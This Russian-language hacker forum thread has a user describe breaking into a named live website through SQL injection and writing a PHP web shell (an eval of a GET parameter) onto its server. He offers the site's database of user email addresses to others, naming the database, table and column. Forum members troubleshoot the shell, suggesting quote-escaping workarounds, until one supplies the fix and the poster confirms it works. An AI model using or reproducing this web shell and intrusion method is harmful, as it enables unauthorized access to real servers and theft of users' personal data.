Сломал сайт, залил Php файл, а ничё не работает!

[Ponchik]

Хай! Вот нащёл сайт!
_http://jeux-mu-sacre-online.no-ip.org/
Нащёл в нём SQL Injection, выполнил команду
echo "<? eval(stripslashes($_GET[c])); ?>" > D:/wamp/www/info.php
Файл создался, но...
http://jeux-mu-sacre-online.no-ip.org/info.php?c=echo '123';
И ничего... В общем если кому удасться разобраться в чём проблема, раскажите :) А БД можете себе брать, тама MSSQL в
БД: MuOnline
Таблица: MEMB_INFO
Колонка: mail_addr
Хранятся мыльники юзверей (я так понимаю их тама только 389 :( )
В общем очень интересно где скривили мои руки, почему сервер не слушает меня :mad:

[sunb0rn]

А ты посмотри в сорсаx что делается ;) - "<? eval(stripslashes($_GET[c])); ?>" так в кавычкаx и осталось!!!

[}{0TT@БЬ)Ч]

ссылку на саму sql Injection!В студию.

[Ponchik]

sunb0rn, а без ковычек никак, ктомуже они на PHP никак не действуют! Как я буду использовать echo text > file если там символ > и в <? , ?> тоже эти символы...
Я так много раз делал, всё работало, а вот тут нехочет...

[GreenBear]

sunb0rn, php код между тегами <? ?> в данном случае. все что до него и после - не важно.
Ponchik, посмотри код страницы) пхп не обрабатывается.

[Ponchik]

Почему не обрабатывается... Еслиб не обрабатывался, нобы и выводил весь код страницы, а так всё фурычит... Странно... Мистикааааа! В общем можно забить на этот сайт...

[GreenBear]

а так всё фурычит...
http://netsec.ru/uploads/green/vn4kidFbYwQIqU0snap085.jpg
не спорь ((=

[Ponchik]

Позволь поспорить
http://img177.imageshack.us/img177/3940/screenshot0pg1.jpg

[GreenBear]

я про сайт :d

[max_pain89]

если magic_quotes=on то нихуя работать не будет. Можно обойти например echo(chr(0x56))

[Ponchik]

Green_Bear, в смысле про сайт... Вот я на локалхосте проверил и показал!
max_pain89, ты про ' превращается в \' ? Для этого я юзаю stripslashes() он исправляет этот баг
Да и твой вариант всёравно не работает, бнсполезно я так понимаю пытаться, потому-что я и copy("шелл","Системный путь") проблвал, нефурычит! Странно...

[TANZWUT]

кароч понял что за фишка... у меня тож wamp стоял... долго не мог допереть почему мои скрипты так же не пашут =)))
оказываецо надо делать так <?php eval(stripslashes($_GET[c])); ?> ;)

[Ponchik]

Ёшкин кот! Ядрён батон! Работает! Спасибо!